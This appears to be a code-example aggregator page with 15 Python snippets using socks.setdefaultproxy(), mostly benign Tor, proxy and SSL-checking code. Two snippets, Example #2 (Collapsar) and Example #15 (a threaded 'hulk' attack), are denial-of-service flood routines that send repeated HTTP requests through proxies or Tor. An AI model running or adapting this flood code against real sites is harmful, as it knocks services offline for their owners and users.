Python socks.setdefaultproxy() Examples

The following are 15 code examples of socks.setdefaultproxy(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module socks , or try the search function .
Example #1
Source File: interface.py    From encompass with GNU General Public License v3.0 6 votes vote down vote up
def __init__(self, server, config = None):
        threading.Thread.__init__(self)
        self.daemon = True
        self.config = config if config is not None else SimpleConfig()
        self.lock = threading.Lock()
        self.is_connected = False
        self.debug = False # dump network messages. can be changed at runtime using the console
        self.message_id = 0
        self.unanswered_requests = {}
        # are we waiting for a pong?
        self.is_ping = False
        # parse server
        self.server = server
        self.host, self.port, self.protocol = self.server.split(':')
        self.port = int(self.port)
        self.use_ssl = (self.protocol == 's')
        self.proxy = self.parse_proxy_options(self.config.get('proxy'))
        if self.proxy:
            self.proxy_mode = proxy_modes.index(self.proxy["mode"]) + 1
            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
            socket.socket = socks.socksocket
            # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
            def getaddrinfo(*args):
                return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
            socket.getaddrinfo = getaddrinfo 
Example #2
Source File: collapsar.py    From Collapsar with MIT License 6 votes vote down vote up
def atk(): #Socks Sent Requests
	ua = random.choice(useragent)
	request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
	proxy = random.choice(lsts).strip().split(":")
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
	time.sleep(5)
	while True:
		try:
			s = socks.socksocket()
			s.connect((str(url), int(port)))
			if str(port) =='443':
				s = ssl.wrap_socket(s)
			s.send(str.encode(request))
			print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			try:
				for y in range(per):
					s.send(str.encode(request))
				print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			except:
				s.close()
		except:
			s.close() 
Example #3
Source File: torcrawl.py    From TorCrawl.py with GNU General Public License v3.0 5 votes vote down vote up
def connectTor():
	try:
		port = 9050
		# Set socks proxy and wrap the urllib module
		socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', port)
		socket.socket = socks.socksocket

		# Perform DNS resolution through the socket
		def getaddrinfo(*args):
			return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]

		socket.getaddrinfo = getaddrinfo
	except:
		e = sys.exc_info()[0]
		print("Error: %s" % e + "\n## Can't establish connection with TOR") 
Example #4
Source File: TOR.py    From Some-Examples-of-Simple-Python-Script with GNU Affero General Public License v3.0 5 votes vote down vote up
def _connectTOR(self):
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, self.localhost, self.port, True)
        socket.socket = socks.socksocket 
Example #5
Source File: TOR.py    From Some-Examples-of-Simple-Python-Script with GNU Affero General Public License v3.0 5 votes vote down vote up
def _newIdentity(self):
        socks.setdefaultproxy()
        
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.localhost, self.new_port))
        s.send("AUTHENTICATE\r\n")

        self.response = s.recv(128)
        
        if self.response.startswith("250"):
            s.send("SIGNAL NEWNYM\r\n")
        s.close()

        _TOR()._connectTOR() 
Example #6
Source File: network.py    From CIRTKit with MIT License 5 votes vote down vote up
def download(url, tor=False):
    def create_connection(address, timeout=None, source_address=None):
        sock = socks.socksocket()
        sock.connect(address)
        return sock

    if tor:
        if not HAVE_SOCKS:
            print_error("Missing dependency, install socks (`pip install SocksiPy`)")
            return None

        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
        socket.socket = socks.socksocket
        socket.create_connection = create_connection

    try:
        req = Request(url)
        req.add_header('User-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
        res = urlopen(req)

        data = res.read()
    except HTTPError as e:
        print_error(e)
    except URLError as e:
        if tor and e.reason.errno == 111:
            print_error("Connection refused, maybe Tor is not running?")
        else:
            print_error(e)
    except Exception as e:
        print_error("Failed download: {0}".format(e))
    else:
        return data 
Example #7
Source File: ssl_checker.py    From ssl-checker with GNU General Public License v3.0 5 votes vote down vote up
def get_cert(self, host, port, user_args):
        """Connection to the host."""
        if user_args.socks:
            import socks
            if user_args.verbose:
                print('{}Socks proxy enabled{}\n'.format(Clr.YELLOW, Clr.RST))

            socks_host, socks_port = self.filter_hostname(user_args.socks)
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, socks_host, int(socks_port), True)
            socket.socket = socks.socksocket

        if user_args.verbose:
            print('{}Connecting to socket{}\n'.format(Clr.YELLOW, Clr.RST))

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        osobj = SSL.Context(PROTOCOL_TLSv1)
        sock.connect((host, int(port)))
        oscon = SSL.Connection(osobj, sock)
        oscon.set_tlsext_host_name(host.encode())
        oscon.set_connect_state()
        oscon.do_handshake()
        cert = oscon.get_peer_certificate()
        sock.close()
        if user_args.verbose:
            print('{}Closing socket{}\n'.format(Clr.YELLOW, Clr.RST))

        return cert 
Example #8
Source File: fast.py    From SSRSpeed with GNU General Public License v3.0 5 votes vote down vote up
def setProxy(LOCAL_ADDRESS,LOCAL_PORT):
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,LOCAL_ADDRESS,LOCAL_PORT)
	socket.socket = socks.socksocket 
Example #9
Source File: proxy.py    From checkproxy with Apache License 2.0 5 votes vote down vote up
def check_one_proxy(checkmothed,ip,port,method):
    global update_array
    global check_in_one_call
    global target_url,target_string,target_timeout
      
    url=target_url
    checkstr=target_string
    timeout=target_timeout
    if checkmothed=='http':
      if method==1:
        proxy_handler = urllib2.ProxyHandler({'http': 'http://'+ip+':'+str(port)+'/'})
        opener = urllib2.build_opener(proxy_handler)
        urllib2.install_opener(opener) 
      else:
        return  # socks4,socks5 退出函数处理     	  
      	  
    elif checkmothed=='connect':
      if method==1:
        socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, ip, int(port))
      elif method==2:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, ip, int(port))
      elif method==3:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, int(port))
      socks.wrap_module(urllib2) 
         
    send_headers = {
          'User-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'
          }
    t1=time.time()
    
    try:
    	req = urllib2.Request(url,headers=send_headers)
    	r  = urllib2.urlopen(req,timeout=20)	
    	rehtml=r.read()
    	pos=rehtml.find(checkstr)
    except Exception,e:
    	pos=-1
    	print e 
Example #10
Source File: utils.py    From MoP with Apache License 2.0 5 votes vote down vote up
def tcp_socket():
    """Create new tcp socket with proxy support depends on configuration"""
    config = parse_config(os.path.join(os.path.dirname(__file__), '..', 'config.yaml'))
    use_proxy = 'proxy' in config and config['proxy']['use_proxy'] == True
    if use_proxy:
        s = socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, config['proxy']['ip'], config['proxy']['port'], True)
        return socks.socksocket()
    return socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
Example #11
Source File: whois_connect.py    From Malicious_Domain_Whois with GNU General Public License v3.0 5 votes vote down vote up
def _connect(self):
        global _server_ip, _proxy_ip
        host = _server_ip.get_server_ip(self.whois_srv)  # 服务器地址
        host = host if host else self.whois_srv
        if flag_proxy:
            proxy_info = _proxy_ip.get(self.whois_srv)  # 代理IP
            if proxy_info is not None:
                socks.setdefaultproxy(
                        proxytype=socks.PROXY_TYPE_SOCKS4 if proxy_info.mode == 4 else socks.PROXY_TYPE_SOCKS5,
                        addr=proxy_info.ip,
                        port=proxy_info.port)
                socket.socket = socks.socksocket
                self.tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(20)
        data_result = ""
        try:
            self.tcpCliSock.connect((host, 43))
            self.tcpCliSock.send(self.request_data + '\r\n')
        except socket.error as e:
            if str(e).find("timed out") != -1:  # 连接超时
                return "ERROR -1"
            elif str(e).find("Temporary failure in name resolution") != -1:
                return "ERROR -2"
            else:
                return "ERROR OTHER"

        while True:
            try:
                data_rcv = self.tcpCliSock.recv(1024)
            except socket.error as e:
                return "ERROR -3"
            if not len(data_rcv):
                return data_result  # 返回查询结果
            data_result = data_result + data_rcv  # 每次返回结果组合 
Example #12
Source File: whois_connect.py    From Malicious_Domain_Whois with GNU General Public License v3.0 5 votes vote down vote up
def _connect(self):
        global _server_ip, _proxy_ip
        host = _server_ip.get_server_ip(self.whois_srv)  # 服务器地址
        host = host if host else self.whois_srv
        if flag_proxy:
            proxy_info = _proxy_ip.get(self.whois_srv)  # 代理IP
            if proxy_info is not None:
                socks.setdefaultproxy(
                        proxytype=socks.PROXY_TYPE_SOCKS4 if proxy_info.mode == 4 else socks.PROXY_TYPE_SOCKS5,
                        addr=proxy_info.ip,
                        port=proxy_info.port)
                socket.socket = socks.socksocket
                self.tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(20)
        data_result = ""
        try:
            self.tcpCliSock.connect((host, 43))
            self.tcpCliSock.send(self.request_data + '\r\n')
        except socket.error as e:
            if str(e).find("timed out") != -1:  # 连接超时
                return "ERROR -1"
            elif str(e).find("Temporary failure in name resolution") != -1:
                return "ERROR -2"
            else:
                return "ERROR OTHER"

        while True:
            try:
                data_rcv = self.tcpCliSock.recv(1024)
            except socket.error as e:
                return "ERROR -3"
            if not len(data_rcv):
                return data_result  # 返回查询结果
            data_result = data_result + data_rcv  # 每次返回结果组合 
Example #13
Source File: tor.py    From Instagram-Hacker with MIT License 5 votes vote down vote up
def updateIp(self):
  self.restartTor()
  socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,'127.0.0.1',9050,True)
  socket.socket=socks.socksocket 
Example #14
Source File: connection.py    From cangibrina with GNU General Public License v2.0 4 votes vote down vote up
def connect(self):
		def renew_tor():
			import socket

			s = socket.socket()
			s.connect(('localhost', 9050))

			s.send('AUTHENTICATE "{0}"\r\n'.format("123"))
			resp = s.recv(1024)

			if resp.startswith('250'):
				s.send("signal NEWNYM\r\n")

				resp = s.recv(1024)

				if resp.startswith('250'):
					print ("TOR Identity Renewed")
				else:
					print ("response 2: "+resp)
			else:
				print ("response 1: "+resp)

		try:
			renew_tor()
			import socks
			import socket
			import mechanize
			from mechanize import Browser

			def create_connection(address, timeout=None, source_address=None):
				sock = socks.socksocket()
				sock.connect(address)
				return sock

			socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)

			# patch the socket module
			socket.socket = socks.socksocket
			socket.create_connection = create_connection

			br = Browser()
			print ("New Identity: " + br.open('http://icanhazip.com').read())

		except Exception as e:
			print(" [-] " + str(e))
			print(" [!] " + "Check if TOR is running on 127.0.0.1:9050")
			exit() 
Example #15
Source File: ddos.py    From bane with MIT License 4 votes vote down vote up
def hulk(u,threads=700,timeout=10,duration=300,logs=True,returning=False,set_tor=False):
 '''
   this function is used for hulk attack with more complex modification (more than 10k useragents and references, also a better way to generate random http GET parameters.
    
   it takes the following parameters:

   u: target domain
   threads: (set by default to: 700) number of connections
   timeout: (set by default to: 10) connection timeout flag

   example:

   >>>import bane
   >>>bane.hulk_attack('www.google.com',threads=1000)

'''
 thr=[]
 global hulk_counter
 hulk_counter=0
 if set_tor==True:
  socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
  socket.socket = socks.socksocket
 global stop
 stop=False
 global prints
 prints=logs
 global target
 target=u
 global _timeout
 _timeout=timeout
 for x in range(threads):
  try:
   t= hu()
   t.start()
   thr.append(t)
  except:
    pass
 c=time.time()
 while True:
  if stop==True:
   break
  try:
   time.sleep(.1)
   if int(time.time()-c)==duration:
    stop=True
    break
  except KeyboardInterrupt:
   stop=True
   break
 if logs==True:
     print("[*]Killing all threads...")
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
 if logs==True:
     print("[*]Done!")
 if returning==True:
  return hulk_counter